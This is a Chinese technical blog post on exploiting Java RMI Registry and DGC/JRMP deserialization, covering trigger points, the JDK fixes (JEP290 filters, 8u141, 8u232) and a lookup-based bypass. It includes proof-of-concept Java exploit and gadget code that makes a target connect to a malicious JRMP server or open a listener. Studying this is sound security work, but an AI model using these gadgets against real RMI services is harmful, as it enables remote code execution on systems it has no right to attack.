Registry与DGC的攻击利用

news2024/11/15 19:27:50

0x01

2022-02-03写的一篇文章。

0x02 Registry

Registry指的是RMI的注册表,攻击的目标是注册表所在的机器,一般注册表和RMI Server在同一个机器上,特殊情况下也会在不同机器上。

在我们通过LocateRegistry#getRegistry获取到目标开启的注册表之后,可以通过Registry#bind方法绑定一个对象到注册表上,而我们绑定的对象传送到目标机器上之后会对其进行一个反序列化。

反序列化触发点在RegistryImpl_Skel#dispatch方法上。

在这里插入图片描述
同样的,在获取到开启的注册表之后,可以通过rebind/lookup方法触发反序列化链,因为rebind/lookup方法传递对象过去之后目标也会对其进行反序列化。

漏洞点同样发生在RegistryImpl_Skel#dispatch方法上,其实dispatch这个方法就是通过一个switch来判断是bind/lookup/rebind等操作中的哪个,对应的case为如下。

在这里插入图片描述0

可以看到rebind/lookup操作都会触发反序列化

在这里插入图片描述

0x03 Registry修复

在JDK8u232_b09版本之前对Registry被攻击有两处修复,第一处修复是在JDK8u121之后对注册表可以反序列化的类进行了一个限制,是一个白名单的限制。实现限制的方法为RegistryImpl#registryFilter。(这里是 JEP290的防御操作

return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

第二处修复是在JDK8u141之后,在JDK8u141之前bind/rebind/lookup都可以触发反序列化,但在此版本之后对bind/rebind的case语句块进行了修改,在反序列化前增加了一个检查,检查调用bind/rebind的机器是否为本地,限制了调用源只能是本地。

在这里插入图片描述

其实在JDK8u141之前就已经存在这个checkAccess方法了,也就是这个限制调用源本来就存在,但是因为在反序列化之前没有调用这个方法进行检查,那么这个限制也就相当于没有。

第三处修复在JDK8u232_b09之后,在处理bind/rebind/lookup方法的case语句块中如果反序列化时发生错误或者反序列化完成之后类型转换错误则会调用call#discardPendingRefs方法,将现存的DGC连接清除掉,也就无法使用下面的DGCClient/DGCServer Gadget,见 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l1.40(此处以及下面说的DGC就是网上说的JRMP)

在这里插入图片描述

0x04 Registry绕过

那么在JDK8u141之后怎么攻击利用Registry呢?调用源检查只限制了bind/rebind方法,对lookup方法没有进行限制,那么就可以用lookup方法进行触发反序列化链。

对于第一个白名单限制,可以利用白名单里的Remote及实现此接口类以及子类构造Gadget进行利用,当然其它类如果能找到利用点也是可以的。

0x05 Registry攻击实现

  1. 利用常规的Gadget,实现执行任意命令等效果
  2. 利用DGCClient Gadget,此Gadget被反序列化后可以让目标连接我们架设好的恶意DGC服务器(此处的DGCClient就相当于ysoserial的payload/JRMPClient
  3. 利用DGCServer Gadget,此Gadget被反序列化后可以让目标在指定端口开启DGC服务(此处的DGCServer 就相当于ysoserial的payload/JRMPListern
  4. 利用注册表上可以调用的方法,使用恶意对象作为参数传递过去之后,目标会对恶意对象进行反序列化操作,此时触发Gadget
public class RMIRegistryExploit {

    public static void exploit(){
        try {
            Remote remote = (Remote) getObject();
            //Remote remote = (Remote) DGCClient.getObject();
            //Remote remote = (Remote) DGCServer.getObject();
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
            registry.bind("ky0202"+System.nanoTime(),remote);
        }catch (Exception e){
            System.out.println(e.getCause().getCause().getCause().getMessage());
        }
    }

    public static void main(String[] args) throws Exception{
        ParseArgs.parseArgs(args);
        exploit();
    }

    public static Object getObject() throws Exception{
        Hashtable hashtable = (Hashtable) Collections07.getObject();
        // hashtable 为 invocationHandler 的一个字段,那么反序列化的时候也会反序列化这个字段,进而触发 Gadget
        InvocationHandler invocationHandler = (InvocationHandler) Reflect.reflectGetObject("sun.reflect.annotation.AnnotationInvocationHandler", new Class[]{Class.class, Map.class}, new Object[]{Retention.class, hashtable});
        // 把 Remote 对象反序列化,因为 invocationHandler 为其一个字段,反序列化时会反序列化其字段,也就是调用 AnnotationInvocationHandler#readObject 方法触发 Gadget
        Remote proxyRemote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler);
        return proxyRemote;
    }
}

根据Gadget修改获取的对象即可,这里使用的是bind触发,最好的方式是使用lookup触发,但是这里没有实现。

DGCClient Gadget

/*
 * Gadget:
 *   RemoteObjectInvocationHandler#readObject
 *     RemoteObject#readObject
 *       UnicastRef#readExternal
 *         LiveRef#read
 *             DGCClient#registerRefs
 * */

public class DGCClient {

    public static Object getObject() throws Exception{
        TCPEndpoint tcpEndpoint = new TCPEndpoint("127.0.0.1",9999,null,null);
        LiveRef liveRef = new LiveRef(new ObjID(0),tcpEndpoint,false);
        UnicastRef unicastRef = new UnicastRef(liveRef);
        RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
        return remoteObjectInvocationHandler;
    }

    public static void main(String[] args) throws Exception{
        RemoteObjectInvocationHandler remoteObjectInvocationHandler = (RemoteObjectInvocationHandler) getObject();
        byte[] serialize = SerWithUnSer.serialize(remoteObjectInvocationHandler);
        SerWithUnSer.unSerialize(serialize);
    }
}

DGCServer Gadget

/*
 * Gadget:
 *   UnicastRemoteObject#readObject
 *     UnicastRemoteObject#reexport
 *       UnicastRemoteObject#exportObject
 *         UnicastRemoteObject#exportObject
 *           UnicastServerRef#exportObject
 *             LiveRef#exportObject
 *               TCPEndpoint#exportObject
 *                  TCPTransport#exportObject
 *                    TCPTransport#listen
 * */

public class DGCServer {

    public static Object getObject() throws Exception{
        Constructor constructor1 = RemoteObject.class.getDeclaredConstructor(new Class[]{RemoteRef.class});
        constructor1.setAccessible(true);
        Constructor constructor2 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(ActivationGroupImpl.class, constructor1);
        constructor2.setAccessible(true);
        UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor2.newInstance(new Object[]{new UnicastServerRef(6666)});
        Reflect.reflectSetField(UnicastRemoteObject.class,unicastRemoteObject,"port", 6666);
        return unicastRemoteObject;
    }

    public static void main(String[] args) throws Exception{
        UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) getObject();
        byte[] bytes = SerWithUnSer.serialize(unicastRemoteObject);
        SerWithUnSer.unSerialize(bytes);
    }
}

调用注册表可以调用的方法,然后传递恶意对象进去,让目标对传递过去的恶意对象进行反序列化操作,这时即可触发 Gadget,反序列化触发点在UnicastServerRef#dispatch方法,这里遍历反序列化传递过来的参数,在unmarshalValue方法中存在反序列化操作

在这里插入图片描述
这里如果调用的方法可以传递任意对象或者存在Gadget的对象,就可以直接传递恶意对象进去,否则需要利用动态修改字节码的技术把恶意对象作为参数传递进去。(可以参考后面列的文章

0x06 DGC

前面通过利用DGCClient/DGCServer Gadget攻击Registry之后,可以使目标连接某一特定DGC服务器或者在指定端口开启一个DGC服务,这时可以进一步利用。

在用DGCClient Gadget攻击成功目标之后,目标会去连接指定的DGC服务器,这时候我们可以架设一台恶意DGC 服务器,让目标连接我们服务器的时候,返回一个恶意对象,这时候目标会对返回的对象进行反序列化,此时触发 Gadget(因为DGC通信过程中都是序列化的形式进行的,所以不管是客户端还是服务端都存在反序列化的点,这里的架设恶意DGC服务器利用ysoserial的exploit/JRMPListern即可

反序列化触发点在StreamRemoteCall#executeCall方法上

在这里插入图片描述
在用DGCServer Gadget攻击Registry之后,目标会在指定端口开启一个DGC服务,这时可以架设一个恶意的DGC 客户端去连接目标开启的DGC服务,并连接之后发送恶意对象,这时候目标会对客户端发送的恶意对象进行反序列化,此时触发Gadget ,搭建DGC客户端使用ysoserial的exploit/JRMPClient即可

反序列化触发点在DGCImpl_Skel#dispatch方法上

在这里插入图片描述

0x07 DGC修复

在JDK8u232_b09之后,在DGCImpl_Stub#dirty方法上设置了反序列化的白名单,而dirty方法是StreamRemoteCall#executeCall方法的必经之路,所以这也就阻断executeCall方法反序列化恶意对象了。见 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l4.50

在这里插入图片描述
在JDK8u121之后对DGCServer可以反序列化的类进行了一个白名单的限制,限制的方法在DGCImpl#checkInput(这里就是JEP290的限制,那么也就是在JEP290之后就无法利用exploit/JRMPClient了

return var2 != ObjID.class && var2 != UID.class && var2 != VMID.class && var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;

0x08 参考文章

https://www.anquanke.com/post/id/197829
https://xz.aliyun.com/t/2223
https://blog.csdn.net/qsort_/article/details/104814905
https://blog.csdn.net/qsort_/article/details/104969138
https://blog.csdn.net/qsort_/article/details/104874111
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l1.40

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/391205.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Win32:C++其实早已支持中文编程

我们以前学习C/C的时候,对于变量和标识符的命名都有如下规则: 变量名必须由字母、数字、下划线构成只能以字母、下划线开头 似乎对中文不太友善啊,于是后来出现了一些中文编程的呼声,甚至还真的出现了一些中文编程语言。 其实在…

【微信小程序-原生开发】实用教程15 - 列表的排序、搜索(含云数据库常用查询条件的使用方法,t-search 组件的使用)

请先完成列表数据的分页、触底加载 【微信小程序-原生开发】实用教程14 - 列表的分页加载,触底加载更多(含无更多数据的提醒和显示,自定义组件) https://blog.csdn.net/weixin_41192489/article/details/129355396 效果预览 核心…

嵌入式 Linux进程间的通信--信号

目录 信号 信号的概述 信号类型 信号发送 1、kill 函数 2、raise函数 3、pause函数 信号处理 可以结合上一篇文章一起看: 嵌入式 Linux进程之间的通信_丘比特惩罚陆的博客-CSDN博客 信号 信号的概述 软中断信号(signal,又简称为…

软聚类算法:模糊聚类 (Fuzzy Clustering)

前言 如果你对这篇文章感兴趣,可以点击「【访客必读 - 指引页】一文囊括主页内所有高质量博客」,查看完整博客分类与对应链接。 在介绍模糊聚类之前,我们先简单地列举一下聚类算法的常见分类: 硬聚类 (Hard Clustering) Connec…

NGINX学习笔记 - 一篇了解NGINX的基本概念(一)

NGINX是什么? NGINX是一款由俄罗斯人伊戈尔赛索耶夫使用C语言开发的、支持热部署的、轻量级的WEB服务器/反向代理服务器/电子邮件代理服务器,因为占用内存较少,启动极快,高并发能力强,所以在互联网项目中广泛应用。可…

十二、面向切面编程AOP

IoC使软件组件松耦合。AOP让你能够捕捉系统中经常使用的功能,把它转化成组件。 AOP(Aspect Oriented Programming):面向切面编程,面向方面编程。(AOP是一种编程技术) AOP是对OOP的补充延伸。 …

互联互通新里程,数字城轨助力城市繁荣!

轨道交通是城市间互通互联的命脉,是当下人们出行的首要选择之一,也是我国“新基建”的重点建设对象。将城轨交通各链路系统及多类型服务,与空间感知、移动互联、云计算等技术深度融合,集中实现城市空间、城轨分布、城轨运行动态的…

有哪些平价好用的台灯推荐?台灯买什么光的比较好

随着社会的发展,生产水平逐渐提高,很多东西都得到长足的发展,对咱们的生活水平的提高帮助也越来越大,台灯也不例外。台灯是现在各个年龄段人群都在使用的产品,晚上熬夜工作、学习、看书、休闲等等都很合适,…

Linux学习第十七节-Apache httpd的web服务

1.简介 适用于Unix/Linux下的web服务器软件。 Apache httpd(开源且免费),虚拟主机,支持HTTPS协议,支持用户认证,支持单个目录的访问控制,支持URL地址重写,支持路径别名,…

北斗RTK高精度定位在AI领域的应用

随着北斗高精度定位技术越来越成熟,通过GNSS高精度定位与机器人结合,越来越多的智能机器人走进我们生活中。像驾培机器人、智能除草机器人、智能巡检机器人、北斗划线机器人等智能机器人已经广泛的投入使用。驾培机器人驾培机器人:通考车安装…

java基础——类加载机制

类加载机制一、背景知识补充二、类加载过程/机制1、浅层理解2、大致步骤3、具体步骤(3.1)装载loading:查找和导入相应的class文件(3.2)链接linking:把类的二进制数据合并到JRE中(3.3&#xff09…

计算机的操作系统

目录 ❤ 什么是操作系统? ❤ 什么是文件? ❤ 什么是应用程序? ❤ 为什么要有操作系统? ​❤ 操作系统有什么用? ❤ 操作系统和应用程序的启动 python从小白到总裁完整教程目录:https://blog.csdn.net/weixin_67859959/article/details/129328397?spm1001.201…

json-server的使用

流程 1.安装json-server的两个依赖 npm -g i json-server npm install -g json-server 2.安装axios依赖 npm i axios 3.全局导入axios使用src目录下main.js文件内 import axios from ‘axios’; 4.配置全局默认地址:src目录下main.js文件内 axios.defaults.bas…

十九、java虚拟机堆

堆的核心概述 1.一个JVM实例只存在一个堆内存,堆也是java内存管理的核心区域。 2.Java堆区子啊JVM启动的时候即被创建,其空间大小也就确定了,是jvm管理的最大一块内存空间, 1)堆内存的大小是可以调节的。 3.《java虚拟…

运行时数据区及程序计数器

运行时数据区 概述 运行时数据区,也就是下图这部分,它是在类加载完成后的阶段 当我们通过前面的:类的加载-> 验证 -> 准备 -> 解析 -> 初始化 这几个阶段完成后,就会用到执行引擎对我们的类进行使用,同时…

记录Paint部分常用的方法

Paint部分常用的方法1、实例化之后Paint的基本配置2、shader 和 ShadowLayer3、pathEffect4、maskFilter5、colorFilter6、xfermode1、实例化之后Paint的基本配置 Paint.Align Align指定drawText如何将其文本相对于[x,y]坐标进行对齐。默认为LEFTPaint.Cap Cap指定了笔画线和路…

SpringBoot整合定时任务和邮件发送(邮箱 信息轰炸 整蛊)

SpringBoot整合定时任务和邮件发送(邮箱 信息轰炸 整蛊) 目录SpringBoot整合定时任务和邮件发送(邮箱 信息轰炸 整蛊)1.概述2.最佳实践2.1创建项目引入依赖(mail)2.2 修改yml配置文件2.3 启动类添加EnableScheduling注解2.4 执行的…

设计模式(三)--适配器模式(Adapter Pattern)

将一个接口转换成客户希望的另一个接口,适配器模式使接口不兼容的那些类可以一起工作.比如我们日常开发中使用到的slf4j就使用了适配器模式,slf4j提供了一系列打日志的api,底层调用的是log4j或者logback来打日志,而作为调用者,不需…

C++基础(二)—— 类和对象(类的封装)、对象的构造和析构(浅拷贝、深拷贝、explicit、动态分配内存)

【上一篇】C基础(一)—— C概述、C对C的扩展(作用域、struct类型、引用、内联函数、函数默认参数、函数占位参数、函数重载)1. 类和对象的基本概念1.1 C和C中struct区别c语言struct只有变量c语言struct 既有变量,也有函数1.2 类的封装我们编写…

【建议收藏】超详细的Canal入门,看这篇就够了!!!

概述 canal是阿里巴巴旗下的一款开源项目,纯Java开发。基于数据库增量日志解析,提供增量数据订阅&消费,目前主要支持了MySQL(也支持mariaDB)。 背景 早期,阿里巴巴B2B公司因为存在杭州和美国双机房部…